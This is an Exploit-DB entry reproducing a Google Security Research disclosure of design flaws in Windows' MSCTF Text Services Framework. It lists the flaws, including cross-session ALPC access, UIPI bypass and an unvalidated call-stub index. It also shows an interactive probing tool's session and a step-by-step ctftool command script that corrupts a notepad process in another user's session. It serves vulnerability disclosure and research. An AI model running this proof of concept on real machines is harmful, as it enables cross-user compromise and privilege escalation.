Exploit-DB #47258
Description: Microsoft Windows Text Services Framework MSCTF - Multiple Vulnerabilities
Type: local
Platform: windows
Date: 2019-08-15
Author: Google Security Research

Exploit:
The msctf subsystem is part of the Text Services Framework, The TSF manages things like input methods, keyboard layouts, text processing and so on. There are two main components, the ctfmon server and the msctf client.

The ctfmon service creates an ALPC port in a well known location, to which clients connect and exchange messages. When any process creates a window, the kernel invokes a callback, USER32!CtfHookProcWorker, that automatically loads the CTF client.

The CTF subsystem is vast and complex. It was most likely designed for LPC in Windows NT and bolted onto ALPC when it became available in Vista and later. The code is clearly dated with many legacy design decisions. In fact, the earliest version of MSCTF I've been able to find was from the 2001 release of Office XP, which even supported Windows 98. It was later included with Windows XP as part of the base operating system.

There are multiple critical design flaws in this system, I've written a detailed technical analysis and an interactive utility to probe the CTF subsystem.

$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.

help            - List available commands.
exit            - Exit the shell.
connect         - Connect to CTF ALPC Port.
info            - Query server informaiton.
scan            - Enumerate connected clients.
callstub        - Ask a client to invoke a function.
createstub      - Ask a client to instantiate CLSID.
hijack          - Attempt to hijack an ALPC server path.
sendinput       - Send keystrokes to thread.
setarg          - Marshal a parameter.
getarg          - Unmarshal a parameter.
wait            - Wait for a process and set it as the default thread.
thread          - Set the default thread.
sleep           - Sleep for specified milliseconds.
forget          - Forget all known stubs.
stack           - Print the last leaked stack ptr.
marshal         - Send command with marshalled parameters.
proxy           - Send command with proxy parameters.
call            - Send command without appended data.
window          - Create and register a message window.
patch           - Patch a marshalled parameter.
module          - Print the base address of a module.
module64        - Print the base address of a 64bit module.
editarg         - Change the type of a marshalled parameter.
symbol          - Lookup a symbol offset from ImageBase.
set             - Change or dump various ctftool parameters.
show            - Show the value of special variables you can use.
lock            - Lock the workstation, switch to Winlogon desktop.
repeat          - Repeat a command multiple times.
run             - Run a command.
script          - Source a script file.
print           - Print a string.
consent         - Invoke the UAC consent dialog.
reg             - Lookup a DWORD in the registry.
Most commands require a connection, see "help connect".
ctf> connect
The ctf server port is located at \BaseNamedObjects\msctf.serverDefault2
NtAlpcConnectPort("\BaseNamedObjects\msctf.serverDefault2") => 0
Connected to CTF server@\BaseNamedObjects\msctf.serverDefault2, Handle 00000248
ctf> info
The server responded.
000000: 20 00 38 00 02 10 00 00 ec 04 00 00 a4 1a 00 00   .8.............
000010: dc b6 00 00 35 1b 2e 00 38 00 00 00 20 2a 00 00  ....5...8... *..
000020: 00 00 00 00 00 00 00 00 ec 04 00 00 00 00 00 00  ................
000030: 00 00 00 00 00 00 00 00                          ........
        Monitor PID: 1260
ctf>

Please see the attached document for a detailed analysis, but here are my major concerns with the service:

1. The ctfmon ALPC port is accessible across sessions, allowing users to compromise other users of the system.
2. UIPI can be bypassed, sending input events to higher integrity windows. This is an AppContainer or IL sandbox escape.
3. The msctf client disables UIPI for Marshal event windows. As far as I can tell, this is unnecessary, only ctfmon should be sending these messages, which is already high integrity.
4. The MSG_CALLSTUB command does not validate the command index, allowing arbitrary code execution.
   4a. Frankly, even if you call a legitimate stub, you’re often trusted to Marshal pointers across the interface. 

Many of the legitimate functions expect pointers with no validation (For example, CInputProcessorProfiles::Register, which is called via CStubITfInputProcessorProfileMgr::stub_ActivateProfile, FunctionIndex 3 for TfInputProcessorProfileMgr)

5. There is no mutual authentication of Servers or Clients, therefore:
   5a. You can hijack the alpc server path for other sessions and wait for clients to connect to you, then send them input.
   5b. You can lie about your ThreadId, ProcessId and HWND, effectively redirecting messages from other clients.

I'm planning to write a full SYSTEM exploit for these issues, because I think it's interesting and I've already invested a ton of work to get the tool working to make a PoC :)

I assume you'll want a copy when it's finished.

Interfering with processes across sessions
------------------------------------------

To reproduce, follow these steps:
* Login as an Administrator to Session 1.
* Please make sure that you do not have an open copy of notepad.
* Use Fast User Switching (i.e. Ctrl-Alt-Del, Switch User) to create an unprivileged standard user session.
* Create a file containing these commands:

connect Default 1
Sleep 10000
wait notepad.exe
createstub 0 4 IID_ITfInputProcessorProfileMgr
setarg 6
setarg 0x201 0x41414141
setarg 0x20001 0x41414142
setarg 0x1 ABABABAB-ABAB-ABAB-ABAB-ABABABABABAB
setarg 0x1 BCBCBCBC-BCBC-BCBC-BCBC-BCBCBCBCBCBC
setarg 0x10001 0x41414145
setarg 0x201 0x41414146
callstub 0 0 3
quit